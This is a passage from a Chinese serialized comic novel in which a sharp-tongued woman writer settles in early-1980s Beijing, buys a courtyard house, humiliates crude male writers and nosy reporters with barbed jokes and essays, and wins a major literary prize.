春风像一个巨大的吹风机,殷勤地帮她换着造型,一会儿左偏分,一会儿右偏分,一会儿是地方支援中央,全力往头顶吹。 这熟悉的味道熟悉的感觉又来了。帝都,真是让她宾至如归。 宋知南顶着大风出了火车站,李群英就站在人群中朝她挥手。几年没见,李群英比以前更有气质了。面相大气端严,很有领导范儿。 宋知南看了李群英一眼,神秘莫测地说道:“我看你这面相, 感觉你是当老总的料。” 李群英噗嗤一声笑了, “我看你这面相是要名震全国的, 快把行李放上自行车,咱们赶紧回家去。” 宋知南带的行李不多, 铺盖她送给了一个贫困学妹, 收录机用了几年,送给了张小凤学英语,至于那些书她也没要,让大家每人挑几本做纪念。她只带了随身衣物和一些河西特产。 李群英骑着自行车载着宋知南在大风中穿行,好在是顺风,骑起来不太艰难。 宋知南一看方向,就说道:“你家离后海不远吧, 地理位置不错啊。” 李群英说道:“位置是不错,连我爸妈都喜欢, 说方便带孩子遛弯。” 半小时后,到了李群英家,李群英的爸妈牵着小成章早早地在门口等着。 宋知南跳下自行车跟三人一一打招呼:“黄阿姨,您还是那么精神;李叔,您看上去红光满面。我的小成章,我是你南姨,咱们在电话里聊过的。” 李成章大大方方地叫了一声南姨。宋知南见她长得这么可爱,忍不住说道:“这孩子是个整合双方资源的小能手,将来必成大器。” 黄阿姨和李叔没忍住,两人一起大笑起来。 成章莫名其妙地看了爷爷奶奶一眼,仰着头问李群英:“妈妈,你说过,南姨来了要吃莫莫。” 李群英笑着解释道:“莫莫就是莫斯科餐厅,她吃过一次就惦记上了,我昨天提过一次就记住了。” 宋知南说:“老莫餐厅太贵了,就在家吃吧。” 李群英说:“话都说出去了,不去没面子,你去收拾一下,20分钟后咱们就出发。” 老莫餐厅,不愧是体面的象征,吃一顿饭花了二十多块钱。 吃完饭,李群英把宋知南领到收拾好的客房,让她补个觉。 “你好好睡一觉,我去一趟编辑部。” 宋知南打个哈欠说:“你去忙吧。” 宋知南扑到床上美美地补了个觉。 一觉醒来天都快黑了。 小成章听到她起床的声音,就哒哒地跑了进来:“南姨,晚饭有好多好吃的哦。” 宋知南牵着她的小手去了客厅。 黄阿姨正在往饭桌上端菜。 “哇,这么多好吃的,你们二位辛苦了。” 黄阿姨笑着说:“不辛苦,我们可早就盼着你来了。群英天天惦记,没事就拿你的照片给要文看,你没看到要文见到你一点也不生分吗?” “哎哟还真是,我还以为自己很有魅力呢,原来是早就铺垫好了。” 黄阿姨爽朗地笑了起来:“你这孩子说话就是有意思,我就喜欢跟你唠嗑。” 晚饭刚准备好,李群英就回来了。 她一进来就说道:“听说你来了,我们总编要请客,《杂文周刊》的老周也要请客,还有一个星期后刚好有一个作家聚会,也给你发请帖了。大家都想一睹你的风采。” 宋知南说:“来日方长,那些请客的让他们排队,我一家家地去吃。” 大家一边闲聊一边吃饭,虽然隔了几年没见,但彼此一点也不陌生。 李群英说:“明天中午,我陪你去隔壁看房子,我妈还帮你看了另外两家,那两家价格便宜些,但房子很破,光是修整就得花不少钱,隔壁那家你可以直接入住。” 宋知南说:“明天我看看再说。”如果房子好,稍贵点也能接受。 次日午后,宋知南和李群英一家去隔壁邻居家看房。 房子是三间正房,一间厢房,院子不太大,约有五十来平,方方正正的。 墙角种着几竿竹子,院子中央有个葡萄架,门口种着两棵石榴树。房子刚修理好,打扫得干干净净。 房主是一对六十多岁的老夫妻,两人头发花白,面容清癯。男的是工业大学的教授,女的在书店工作。 两人万分不舍地说道:“这房子前年刚装修过,用的还都是好材料,本来打算养老用的。谁知道儿子闺女都要出国,非要我们老俩口一起去,钱又不够,只能把房子卖了。” 宋知南语气诚恳:“你们这房子保持得很好,看你们两人这面相就知道是个有福之人,福人住福地。这房子的风水肯定好。” 老两口一听这话,心里自然高兴。 宋知南接着说道:“我要是买下房子,院子里的布局,我也不会改动,保持原样就挺好。你们以后回国,也可以回来看看。还有书房里那些书,我也可以按照旧书的价格买下。”书房里约有一千多本书,是两位老人的心头爱。 夫妻俩对视一眼,小声商量了一会儿,过来说道:“我听群英说了,你是个作家,是个文化人。我们看得出来你也是个爽快人,我们也不磨叽,你看这样行不?之前我们要价1万五,群英说要贵了,我们再降500,屋子里的书和家具我们全都留给你,你搬过来什么都不用再置办了。” 宋知南点头答应:“行,就按这个价。” 宋知南先交定金,接着双方签订《房屋买卖合同》,再到房管所去过户。过完户,宋知南把剩下的钱给老夫妻。 一切办完也不过一天时间,黄桂枝和李明达都有些咂舌:“一栋房子说买就买了。”要换了他们肯定光看房就得几个月。 宋知南把行李搬到隔壁,前房主连卫生都给她打扫好了。 次日早上,宋知南跟李群英一起去《燕京文艺》杂志社报到。 杂志社的全体人员都出来迎接。 总编吴云河,五十多岁,戴着黑框眼镜,一副不苟言笑的样子。 副总编钱梦秋,四十来岁,以前是主编,去年刚升上副总编。 李群英现在是主编,她手下还有几个责编,两个实习编辑。杂志社还有两个美工,一个打杂的阿姨,一个看门大爷,总共也就十来个人。 吴云河上前跟宋知南握手:“宋同志,久仰久仰。你的莅临让我们杂志社蓬荜生辉。” 宋知南:“客气客气,以后大家就在一块混了。你们别看我骂人狠,但我对待同事像春风一样温柔。以后你们就知道了。” 钱梦秋上前说道:“我们早听群英说过你的事迹,你放心,咱们杂志社都是正常人,不正常的走的走,退休的退休。” 吴云河看了钱梦秋一眼:“不要这么说,走的和退休的也都挺好,大家都挺好。”要让那些退休的人听见了,不得又起风波? 宋知南的职位是名誉主编,工资68块,不用全天坐班,只需要在稿子终审时审一下稿子,大家遇到拿不准的稿子也让她过一下目拿个主意,社里有重大活动她得出席一下。 她的日常工作有小方和小赵两个责编分担。她还有一间小办公室,总编明确说了,没事的时候,她可以在里面写稿。 宋知南一安顿好,钱梦秋就建议宋知南抽空把户口从学校迁过来,他们这边全力配合她,尽快把生活上的杂事处理好,好进入正式的创作阶段。 宋知南给宋冬宝发电报,说她已经在首都安顿好了,让他想办法把猫狗送过来。让他去打听一下能不能带猫狗坐火车,如果不行,就搭个长途货车。 宋知南把琐事安排好,大家开始轮流请客,这帮编辑都是催稿高手。宋知南在一声声恭维中差点迷失自己,在没有喝醉的情况下欠下了一堆稿债。 欠了《杂文周刊》四篇稿子,《燕京文艺》两个长篇两个中篇,《燕京文学》一个中篇。 这一个星期,宋知南没在家吃过饭,到了周日,终于闲了下来。 李群英让要文过来叫她吃饭。 李群英说:“别忘了,晚上有个作家聚会,我跟你一起去,正好再给你介绍一些文友。” 聚会地点在东城饭店,两人在饭店门口遇到两个年轻女性,一个大约二十来岁,身材娇小,一头卷发。另一个二十五六岁,端庄严肃。 李群英拉着那个身材娇小、面容清秀的女子说道:“这位是格羽,写诗的。在文化馆工作。” 格羽跟宋知南握手:“久仰大名。” 李群英拉着另一个姑娘说道:“这位是罗静林,也是写小说的,你们三个以后互相交流。” 罗静林面带微笑:“你好,我是罗静林,以后请多多指教。” 李群英朝里面看了一眼,问道:“大家还没到吗?” 格羽快言快语:“人倒是齐了,就是吧,你也知道这些男作者一聚到一起,就爱说一些荤段子,我们两个在里面呆着怪尴尬的,就出来透透气。” 李群英摇头:“我倒忘了这茬了。这帮人瞧着挺斯文,半杯酒一下肚就开始原形毕露。” 她看向宋知南:“知南,你介意这些吗?” 宋知南一听有人讲荤段子,她擅长啊,到时候介意的就该是别人了。 她笑着说:“我不介意,走,进去,我给你们整两个新鲜的。” 格羽和罗静林都愣住了,这位是什么路数? 四个女同志进包厢的时候,里面先是安静了一瞬,随后便纷纷起身招呼:“李大主编来了。格羽小师妹来了,你这头发卷得真好看。静林老师,你不要总是这么端着嘛,这位新来的美女是?” 李群英刚要开口介绍,张罗聚会的赵伯玉便说道:“这位就是大名鼎鼎的宋知南,宋大作家。” 大家呱唧呱唧鼓掌,表示欢迎。 宋知南打量着这帮人,他们的年纪在二十五六到四十之间,高的矮的胖的瘦的都有,油腻的颓废的丑的也不缺,就缺长相端正气质干净的。 大家寒暄完毕,一齐坐下来。 这帮男作者一看来了四个女同志,便愈发卖力地卖弄起自己的口才来。 长得尖嘴猴腮的张玉冰先开口,“同志们,刚才我说的那句歇后语你们谁能猜出来,再猜不出来可要罚酒了。” 满脸油腻的郭松泉挤眉弄眼道:“老张,你把前半句重说一遍,这些后来的同志们话听到半截都听不明白呀。” 张玉冰突然一拍脑门:“哎哟,我差点忘了,咱们的宋大作家可最擅长用歇后语,这后半句你一定猜得出来,你听好了,前半句是寡妇睡觉,你接后半句。” 宋知南冷笑,这个歇后语是寡妇睡觉——上头没人。挺含蓄的黄段子,这下可撞到她的专业上了。 她故作惊讶道:“这么落后的段子你们竟然还在讲?就没有新鲜的吗?来来,我给你们来几个新鲜的,你们听了肯定会笑得合不拢腿。” 众人:“……” 宋知南笑着说道:“我也给你们出个歇后语,上句是太监讲黄段子,你们谁来接下半句?” 众人面面相觑,无人回应。 宋知南笑着自答道:“太监讲黄段子——下面不行,就靠嘴上找补。你们说好不好笑?” 李群英带头笑道:“哈哈哈,好笑。” 格羽鼓掌笑:“好笑好笑。” 罗静林矜持端庄地微笑着捧场,其他男作者也只好陪着一起笑。 宋知南说道:“我再给你们讲一个,有个小男孩,一生下来就掉粪坑里了,你们猜他长大后怎么着了?” 大家直觉后面没好话,但又不好冷场,张玉冰只好礼貌地问道:“那怎么着了?” 宋知南说:“因为他在粪坑里长大,所以嘴里全是屎,到哪儿都喷屎,到饭桌上也喷。” “我这儿还有一个更好笑的,就发生在我们那里。 有一个男孩从小就没人带,是他家的公狗带大的,他家的狗总是发、情。这孩子长大后,就跟公狗一个德行,到哪里都发、情。说发就发,不论是吃饭还是工作。因为他到处发作,某方面很快就不行了,他就只能光靠嘴,就跟你们现在一样。哈哈哈,好笑吧。” 举座震惊沉默,此时的沉默震耳欲聋。 宋知南诧异地问道:“你们为什么不笑?我讲得不好笑不幽默吗?” 第145章 李群英第一个捧场:“可能是你讲得既幽默又深刻, 大家需要反应一会儿才能笑出来。但我觉得很好笑。” “是挺好笑的,哦呵呵。”有人笑得比哭还难看。 “哈哈哈, 讲得好。”有人皮笑肉不笑。 他们还偷偷相视苦笑,宋知南,真是名不虚传啊。这一出场就震撼全场。 格羽和罗静林这两年时不时地参加这种聚会,有时是杂志社举办的,有时是私人举办的,只要是男作者多的地方,一般都会发生这种事情。她们每次笑也不是,不笑也不是,也不好当众发火,会显得她们开不起玩笑不懂事。 她们没想到还能用宋知南这种方法对付他们,她们俩第一次见到这帮伶牙俐齿的男作者集体尴尬得笑不出来。心口那股陈年的郁气一下子发出来了, 通体畅快。 宋知南在笑声中收获了7500个杠精值, 这里面有10个男作者, 杠了3次,也就是他们每个人的杠精值是250, 这真是个好数字。 首都真是遍地黄金啊, 赚钱就得去大城市。 宋知南看着大家都笑了,十分满意:“我就说嘛,我这么幽默,你们怎么可能不笑,你们再不笑,我都要怀疑你们根本听不懂幽默。” 讲完笑话,宋知南按照自己的节奏控场。 “大家都别坐着干唠, 给我们几个表演点节目吧。那个张玉冰是吧,听你的名字, 你父母应该是希望你冰清玉洁,你怎么长成了这样子?长得都不像个正经人,你给大家跳个舞。” 张玉冰只觉得背上发凉,假笑道:“我不会跳舞。” 宋知南语重心长地说道:“男人怎么能不会跳舞呢?你以后得学啊。男人得身段柔软,你要不柔软,将来找对象你弯不下腰,趴不下去,你对象肯定不喜欢。” 张玉冰:“?”这是他理解的那个意思吗? 宋知南调戏完张玉冰,又把目光转向了聚会发起人赵伯玉:“伯玉啊,你来表演个节目,给大家唱首歌。” 赵伯玉尴尬地笑道:“南姐,您放过我吧,我真不会。” 宋知南:“唱歌都不会?那你学驴叫狗叫猫叫总会吗?” 赵伯玉:“南姐,您这口味可真特殊啊。” 宋知南一脸遗憾:“首都的男作者不太行啊,我在河西的时候,那些男作家表演节目可带劲了,有个男的学驴叫学得特别像,那次聚会在郊区,他把隔壁村里的驴都给吸引过来了。” 众人低头看着桌面,耷拉着耳朵,像霜打的茄子似的。 聚会进行了一个多小时,宋知南输出四十分钟,剩下半小时吃饭。 吃完饭,她站起身说道:“今天的聚会挺有意思的,下回我还来。今天就到这儿吧,瞧你们一个个气血两亏的样子我都心疼,都早点回去休息吧。回去好好想想我今天的笑话,我保准你们睡着了也能笑醒。你们都别送了,我们四个结伴回去。” 这帮男作者毕恭毕敬地把宋知南她们送走,接着第二场聚会。 宋知南一离开,大家迅速恢复本性,聚会又开始热闹起来。 离开东城饭店后,格羽和罗静林都当场对宋知南热烈表白,“南姐不愧是南姐,高手一出手就知有没有。以后,咱们首都女作家圈终于有了带头大姐。” 首都的文化人越聚越多,但是女作家还是挺少,她们在各种文会上笔会上都被当作点缀和花瓶。有些年轻些的女作者甚至被当盘菜,让人十分不爽,但她们又无力改变这种现状。但宋知南的强势出现让她们看到了不一样的光芒。 宋知南问道:“这帮人都写过什么?” 李群英拣主要的介绍了一遍:“赵伯玉的代表作是《世界上最爱我的两个女人》,张玉冰是写《我的故乡》的作者,黄宁的代表作是《哑母》。”这些作品,宋知南好像都听说过,但都没仔细看过,她只看了个开头,就皱着眉头放下了。 李群英作为编辑是不能按照自己的喜好阅读的,有些文章她不喜欢也得看,便笑着跟宋知南讲了两篇文章的梗概。 “赵伯玉那篇写的是自己的母亲和亡妻,两个女人为了他耗干自己的心血和青春,他成名后之后怀念了一下就成名了,编辑和读者被他的深情所感动,为文中的两个女人扼腕叹息。 黄宁的《哑母》,是写一个姑娘年轻时被人怀疑与别人有私情,她为了自证清白,喝了农药,虽被抢救回来,但嗓子却哑了。因为是哑巴,只能嫁到二婚带孩子的男人,也就是文中男主角的父亲。文中的“我”起初对这个哑巴后妈很不敬,一直不肯叫她妈。 但后妈对“我”一直精心照顾,毫无怨言。有一次,“我家”被抄家,父亲被下放,我因为年少气盛跟抄家的人起了冲突,遭到他们的毒打,哑巴不顾一切护住我,哑巴被打成重伤,奄奄一息。那一刻,我深受感动,哽咽着叫了一声妈,哑母欣慰地笑了,脸上带着笑容离开了人世。读者又欷歔了又感动了,作者黄宁也因此成名了。” 宋知南听罢,仰天长叹,“这写的都是什么玩意儿啊。” 八十年代是文学的黄金时代,作家的身份地位堪比后世的明星。所到之处大家都捧着敬着。 写作虽然也是艺术,但又不像音乐美术有基本的门槛,它的低门槛就导致是个人都觉得自己能当作家,很多人把创作冲动当作创作才能。 俗话说,树大必有枯枝,人多必有白痴。 作家多了必有水货,而且大部分人都是水货。有些人的作品充满了腐朽的登味。他们的作品你要用火一烧,都能闻到里面的腐臭味道。拿到太阳底下一晒,上面密密麻麻都是三个字:吃女人。 他们欣赏、玩味着女人的苦难,怀着某种不可告人的心理咂摸、品鉴着女人受害的过程,他们热烈赞扬着女人的无私奉献。 他们吃女人吃得理直气壮,吃得津津有味,观众也喜欢看他们吃,你要是不吃有人还不习惯,骂你为什么不吃? 宋知南的女主角还没反过来吃男人,她只是浑身长满刺不方便被吃罢了,就有那么多人骂她。 看来,整顿文坛这事真是任重而道远啊。她得抓紧时间努力了,千万不能让这些小登老登们占据文坛。 思想舆论的阵地,你不去占领,别人就去占领。 四人在路口分别,大家约好下回再聚。 李群英临走时还不忘催稿:“格羽,你还欠我一首诗。静林,你欠我一个短篇。” 两人笑着回应:“放心,忘不了。” 李群英催完两人,转脸对宋知南说:“我这人有人情味,你刚来我也不催你,不过我建议你安顿好以后就赶紧写吧。你要是不多写,我们杂志约不够稿,就得拿赵伯玉黄宁之流的文章来凑版面,你甘心把版面让给他们这种人吗?” 宋知南无言以对,你比直接催稿还狠。 宋知南在吴总编的催促下,办理了正式的入职手续,并回了趟学校迁户口。 与此同时,宋冬宝也准备带着四狗一猫来首都。 宋知南忙着给狗垒窝,给猫做猫爬架。李叔和黄阿姨带着要文也过来帮忙。 宋冬宝到首都那天,艳阳高照,晴空如洗。 宋冬宝像刘姥姥进大观园一样,看什么都稀罕,他感慨道:“首都不愧是首都,连天空都是那么好看。姐,我要多拍点相片,拿回家让大家伙都羡慕我。” 宋知南说道:“你再呆几天就不会这么说了。” 第二天,宋冬宝就尝到了被大风猛灌的滋味,宋冬宝一边吐着嘴里的沙子一边说:“首都不愧是首都,喝风还送佐料,这沙子可是内蒙来的。” 宋知南也不知道说什么好了。 宋冬宝在首都呆了四天,宋知南陪他去逛了承天门、长城和颐和园,宋冬宝带着一沓照片依依不舍地离开了。 “三姐,你以后能不能把我调到首都来,我想离你近些,照顾你。” 宋知南说:“以后再说吧,调动工作可是件大事,咱们上头没人。” “我懂我懂。” 自从家里有了猫和狗,要文小朋友来得就更勤了。 宋知南干活她帮忙,宋知南溜狗,她跟着。有时,两人还一起玩游戏。 小孩的精力是真旺盛,怎么玩都不累。 宋知南玩累了就会换个游戏,“现在,咱们玩喂猴子的游戏,我是动物园的猴子,你是游客,你喂我吃东西。” 要文一听说喂猴子,立即兴奋起来,不停地拿点心和零食喂宋知南,宋知南吃撑了,她还意犹未尽。 宋知南这只“猴子”只好说人话:“猴子吃撑了,不能再吃了。 第二天,要文推着她的小车又来了,她的车筐里装满了吃的,郑重其事地说:“南姨,我叫要文。” 宋知南笑着说:“我知道你叫要文呀。” 要文摇头:“妈妈,要文。” 宋知南:“……” 李群英你是个狠人儿。 要文传完话推着小车回家去了,正好李群英要出门。要文说:“妈妈,你要记的哦,星期天要带我去看真的猴。” 李群英笑道:“妈妈这个星期天就带你去。你南姨要写作业,你不要总去找她。” 宋知南也不当猴了,开始准备写作。 最近一段时间杂事太多,把她的生活节奏都打乱了。 她坐下来开始写,一向流畅的思维竟然出现了卡顿。这是怎么回事呢?难道是脑袋被大风吹坏了? 宋知南只好翻出以前记的笔记,看看能不能找点灵感。 宋知南正在抓耳挠腮地“写作业”。 吴总编的电话打到了隔壁,通知她去参加记者招待会。 今年3月全国开展了“全民讲文明”礼貌月,这股风自然也刮到了文化界。 宋知南简单收拾一下坐公交车过去。她到达现场时,发现格羽和罗静林也在。 两人笑着冲她打招呼。 罗静林还小声提醒道:“这帮记者喜欢问女作者感情方面的事儿,你回答时注意一下。” “好的。” 等各种作者一到齐,记者们开始进场采访。 有的记者不跑题,问这些作者们是怎么看待文明礼貌的,怎么看待五讲四美的,生活中有没有发现有关文明礼貌的小故事的。 有的记者就天马行空,怎么都问。 还有些记者是男女区别对待,问男作者的写作计划,理想规划,探讨各种文化现象。 一轮到女作者就专注于挖掘感情问题,格羽被问得几乎招架不住。 罗静林性格谨慎,回答问题是滴水不漏。 记者听说宋知南来了,一个个眼睛放光,立即向她聚拢过来。 这位的身上一定有很多新闻可挖。 一个男记者问道:“宋先生,请问——” 宋知南打断他的话:“请叫我宋女士。” 男记者解释道:“先生是对您的尊称。” 宋知南笑着说:“我尊敬的男记者女士,我不要这种尊称。你下去了,换下一个。” 杠精值500。 男记者尴尬地愣在当场,另一个眼疾手快的男记者把他挤了下去。 这位男记者乖觉地叫道:“宋女士您好,您之前跟赵远打过笔仗,您们二位的言辞相当尖锐,现在国家号召全民讲文明礼貌,这种情况下,您还会跟赵远先生像以前那样对骂吗?” 宋知南语气平淡:“我这人一向文明礼貌,与人为善,但赵远又不是人,他不在此范围内。” 记者:“……” 杠精值250。 “您这句话,我可以写下来吗?” 宋知南无所谓地说:“你随便,我不在乎。” 杠精值500。 第三个男记者挤了上来,“宋女士,你方便聊一下你的感情生活吗?” 宋知南:“你先跟我聊你的感情生活。” 杠精值250。 男记者面带笑容,继续追问:“宋女士,我注意你一直没怎么处过对象,你的文章又总是对男人充满偏见。请问,你是不是被男人伤害过?” 其他记者一听到这个问题,就像是秃鹫闻到腐肉一样,哗啦一下全围了上来,目光炯炯地盯着宋知南。 宋知南不慌不忙,对刚才提问她的记者反问道:“这位同志,我也想问一句,你不找男人恋爱是不是被伤害过?” 杠精值250。 男记者一脸莫名其妙:“我是一个正常的男人,我有对象。” 宋知南步步紧逼:“正常的男人就不能找男人吗?你不试试你怎么知道你不喜欢?你不找肯定就是被男人伤害过。” 众记者的目光开始看向男记者,男记者:“我觉得你这个提问有些莫名其妙,让人摸不着头脑。” 宋知南追问道:“怎么会莫名其妙呢?我是按照你的逻辑推理出来的。我不找男人就是被男人伤害过,你不找男人肯定也是被男人伤过呀,看你这避而不谈的样子,你肯定有很多不可告人的事吧?” 杠精值250。 哄闹的现场出现片刻的安静。 这名男记者狼狈退,后面记者的提问画风终于回归正常了。 记者提问过后,是观众提问。 一个二十岁左右的女孩举手提问:“宋老师,我本人非常热爱文学,我想跟文学青年处对象,但我父母坚决反对,说文学青年不靠谱,您对此怎么看?” 宋知南语重心长地说道:“小妹妹,你可以热爱文学,但不要热爱文学青年。如果你喜欢吃炊饼,你去买炊饼也好,自己做也行,你为什么要去喜欢武大郎呢?” 现场突然爆发出一阵大笑,女孩也不由自主地跟着笑。 这场记者招待会在一阵笑声中画上了句号。 宋知南却因此被推上了风口浪尖。 她公开骂赵远不是人的原话被刊登了出来,她问男记者是不是被男人伤害过的话也被刊登了出来,大家先是震惊接着开始口诛笔伐。 然而这两样的热度远远比不上她劝年轻女孩不要爱文学青年的话。混文化圈的文学青年多,看书看报的文学青年也多。他们无财无貌无人品,就靠着若有若无的一点文学才华才获得女青年的青睐,现在宋知南一语道破真相,这是要砸他们的饭碗,是可忍孰不可忍。 什么赵远啊男记者统统让到一边去。 他们揪着这个问题不放,必须为广大的文学青年,主要是男青年讨回公道。 宋知南一看这些,脑中灵光一闪,灵感就这么不期而至。 她坐下来写下题目:《嫁人不要嫁文学青年》。 “他们有着极低的养家能力,有着极高的自恋。 他们自以为是,不切实际,在精神的王国里当惯了国王,在现实中也想称王,是吸女人血的集大成者。 他们还虚伪至极,做错事百般为自己辩解; 明明是一棵大蒜,非把自己当成水仙花; 明明长得丑还临水自照,自我欣赏。 他们天天叫着怀才不遇,一个个肚子却像怀了孕。 长得丑想得美,把邋遢当个性,把精神病当激情。 他渣他贱他浪,他嗑药他嫖、娼,但他是个风流男人。 他贫穷他无能,却说是这世界吻他吻得痛。 他家暴他出轨他杀妻,却说这是艺术家的特征。 身上艺术细胞没一个,艺术家的毛病全都有。” 第146章 这一次记者招待会后, 宋知南赚杠精值赚翻了。每天早上起来一查看,又赚了几万杠精值。 她再次笃定, 虽然首都风沙大物价贵,但是,她是个适合奋斗的地方,来得值。 宋知南也懒得做饭,直接下馆子庆祝一下。她回来时,黄桂枝给她端来一海碗百合莲子汤让她败败火。 黄桂枝心疼地说道:“报纸我也看了,这帮人怎么这么小心眼啊。你可别生气,气坏了自个儿不值当。” 宋知南在不意地说:“没事的阿姨,我早习惯了。我就当他们在狗叫。” 黄桂枝摇着头叹着气离开了。 她回到家里跟老伴感慨:“干哪行都不容易,本来我觉着作家是个好职业,又受人尊敬又自由, 可我一看小宋, 又觉得心疼。” 李明达安慰道:“我看小宋没事, 她该吃吃该喝喝。这姑娘天生就是干这行的料。要不人家怎么是文曲星下凡呢。” 宋知南吃完莲子汤,开始精修誊写文稿。 《嫁人不要嫁文学青年》就给《杂文周刊》的老周吧。 老周接到稿子一看, 不禁拍案叫绝:“骂得好, 骂得妙。立即刊登。” 他手下的实习编辑小心翼翼地建议道:“可是主编,这篇稿子的争议是不是太大了?宋知南这次骂得也太狠了。” 老周扶了下眼镜,淡声说道:“我们杂文就是骂人的,不怕她骂得狠,就怕她不骂。”骂得越刻薄,杂志越有名。 《杂文周刊》这期一发行,销量立即大增, 读者来信雪片似地飞过来,得用麻袋装。 老周一看大部分是骂宋知南的, 他当然不能转交,直接让人卖废品。 宋知南清早起来一查看,杠精值突然上涨十万。 哦,是本期的《杂文周刊》出刊了。 骂完文学青年,宋知南还觉得不过瘾。骂人的□□一旦被挑起来就很难平息。 她写了一篇新闻体稿子,名字就叫做《如此记者,如此作派》,换了个笔名叫西城吹风投稿《首都日报》。 “文明礼貌月,一记者很不礼貌地追问女作家的感情生活,当他被问及为什么不找男人恋爱时,该记者躲躲闪闪,支支吾吾,似有难言之瘾,不禁令人浮想联翩。” 宋知南所引起的一场文化风暴,持续了一个多月才渐渐平息下去。 据说,很多文学青年在婚恋市场的行情受到了相当大的冲击,有些迷恋文艺青年的女青年突然被骂醒了,女青年的家长更加理直气壮了。 宋知南的生活渐渐步入正轨。 她每周去杂志社两次,审审稿子,参加下会议,跟吴总编和钱副总编聊聊当前文学界的近况。 钱梦秋告诉她,去年,著名作家茅盾先生去世了。他临终前将25万元稿费捐出来设立了茅盾文学奖。此奖意在推出和褒奖长篇小说。首届茅奖将在今年进行评选。评选范围就是最近几年的长篇小说。宋知南的《女人的风格》可能也会参与评选。 钱梦秋接着又说:“我跟老吴都建议你趁着精力旺盛,多写几部长篇小说。编辑部的工作你不用操心。外面那些人,你抽空骂骂就得了,别浪费太多精力。” 宋知南笑道:“我也没费太多精力,这不赶上了吗?” 宋知南回去以后开始努力写稿,她很自律,每天晚上九点睡觉,早5点起床,生活规律得连黄阿姨都夸。 宋知南很快就找出了自己适合写作的黄金时间,就是早起后的三小时,适合写难度较大的文章。 每天早上从5点写到8点,去遛狗吃早餐。 回来看看书,练练书法。中午午睡半小时,起来活动活动,在院子里干点活。 下午一般是写点散文杂文。老周每周必找宋知南约稿,有时宋知南说没灵感,他会主动给她提供灵感:“最近社会又出现了某种现象,你就不想骂一骂吗?” 宋知南无言以对,作者跟编辑交朋友一定要谨慎。 宋知南现在的人脉越来越广,不但有了一大批编辑朋友,还有了很多文友。 她跟格羽和罗静林还有几个女作家时不时地小聚一下。相比那些有男作家参加的乌烟瘴气的大聚会,女作家的聚会堪称素净。她们不抽烟不喝酒不说荤段子,连吹牛都是含蓄的。大家一起交流读书写作心得,一起去看花拍照寻找美食。 认识的时间一长,宋知南也发现了格羽和罗静林两人的特点。格羽表面文静,内心很奔放。用她自己的话说,诗人的感情总归是浓烈的,不浓烈就写不了诗。 罗静林看上去比较端庄稳重,相处久了,也会流露出小女孩的那一面,主打一个反差。 在她们眼里,宋知南也很有反差。毕竟看她骂人这么狠,生怕她在生活中也是如此。两人小心翼翼地接触了宋知南一段时间后,发现她对朋友竟然很温柔,而且她还仗义。两人再无顾虑,愈发大胆地向宋知南靠拢。 格羽在文化馆工作,众所周知,文化馆的工作时间相当自由随性。罗静林在是一所大专院校的老师,每周上两回课。 三个人的时间都自由,聚会也方便。首都的春天像胖子的脖子一样短,大家都很珍惜这一段美好的时光,今天去玉渊潭,明天去颐和园,后天去植物园。 要是时间方便,宋知南还顺便把李成章也给带上。 李成章一回到家就兴致勃勃地告诉全家,她今天去了哪里吃了什么。开口闭口我南姨。 宋知南一边赏春踏青一边偿还稿债。春天欠的债,在冬天终于还完了。 她的长篇小说的资料也搜集得差不多了。准备过完年就开始整个大的。 1982年12月初,首届茅盾文学奖评选开始,评选范围是1977-1981期间发表的长篇小说。 宋知南《女人的风格》获奖,奖金5000元,后面不断有人捐赠,奖金也一路上涨,从5千到5万再到50万。 颁奖典礼在明年3月底举行,地点在人民大会堂举行。 茅奖是目前为止龙国长篇小说的最高奖项,此时又正值文学的黄金时代,可谓是全国瞩目。 宋知南的名气和档次也跟着水涨船高。有官媒要采访她,也有导演联系她想要把她的小说改编成电影搬上荧幕。李群英听说后比宋知南本人还激动,“那可是改编电影,答应啊,必须得答应。” 宋知南说道:“别急,我得看看导演的水平。有些导演喜欢乱改胡导,我不能让他们糟蹋了我的作品。” 李群英对电影圈的人有层滤镜:“不是吧?我觉得那些导演都很有水平。” 宋知南没有轻易地答应这个导演,打算认真考察一番再说。 宋知南这段时间忙得不可开交,各种邀约一齐涌来。 首都语言文化大学、燕京师范学院、河东大学、河西师范大学纷纷邀请她去他们学校当客座教授,很多地方邀请她去开讲座。 李群英见宋知南忙得都没时间写文了,担忧地说:“我觉得你应该有一个助理帮你处理这些杂事,你专心写作就行。” 李群英越想越可行,便说道:“宋老师,你真的可以认真考虑一下我的建议,反正你出得起请人的钱。现在的待业青年非常多,正好促进一下就业。” 宋知南考虑了一会儿,说:“这个人也不太好找,首先得有一定的文化素养,得会社交,还得值得信任,最好是女同志。” 李群英又补充一句:“最好能帮你把生活也打理好,你那些猫猫狗狗和家务也需要人打理。” 李群英突然想到一个人:“我觉得你弟弟冬宝就挺合适的。 你听听我的理由:一,冬宝这人我知道,工作上没有什么事业心,对你很依赖;二,现在随着知青大量返城,待业青年非常多,哪怕是首都也很乱,我总感觉这样下去得出点事儿。你独居又有钱,我怕你会引起有心人的注意,你身边多个人也多一层安全保障;三是你正处在关键时期,最好别被琐碎的生活影响你的创作。我可能是年纪大了,最近总感觉力不从心,人的精力太有限了,你浪费一分就少一分。对你来说,时间精力比金钱还重要。所以我觉得让冬宝过来帮你合情合理,他应该也很乐意。” 宋知南点头:“你的意见挺好,我考虑考虑。” 宋知南给宋冬宝写了一封信,详细说明她现在的情况,问宋冬宝愿不愿意来帮她,她每月给他开30块钱的工资。 宋冬宝收到信后,激动得一蹦三尺高。上次从首都回来后,他光吹牛就吹了半年多,他带回来的首都特产被很多邻居们称赞,他的那沓照片被无数人传看。大家也都知道很快就会被接大作家姐姐接走。 三姐终于,终于想起来他了。 宋冬宝嫌回信太慢,直接跑到邮局往李群英家打电话。 接电话的人是要文。 宋冬宝大声说:“要文啊,我是你冬宝舅舅,还记得我吗?” “冬宝舅舅,我记得你。” “你告诉我姐,也就是你南姨,说我马上就进京。” “哦哦。” 要文蹬蹬跑出去告诉宋知南,宋冬宝要来了。 宋知南在杂志社还接到了吕会琴教授的电话,宋知南的态度热情而恭敬:“吕老师,您身体可好。” 吕教授朗声笑道:“还好,我是老当益壮。小宋,恭喜你获得了茅盾文学奖,我们全校老师这几天都在讨论这事呢。学校的学生们纷纷向学校建言:‘宋知南是我们的学姐,是从我们学校出来的,为什么不让请她当客座教授?为什么不邀请她来演讲?’ 魏校长就让我出面跟你联系,想邀请你来母校做个演讲。你看能不能拨冗前来。” “吕老师,您开口了我再忙也得来。正好我也想你们了,去看看你们。” “好好。” 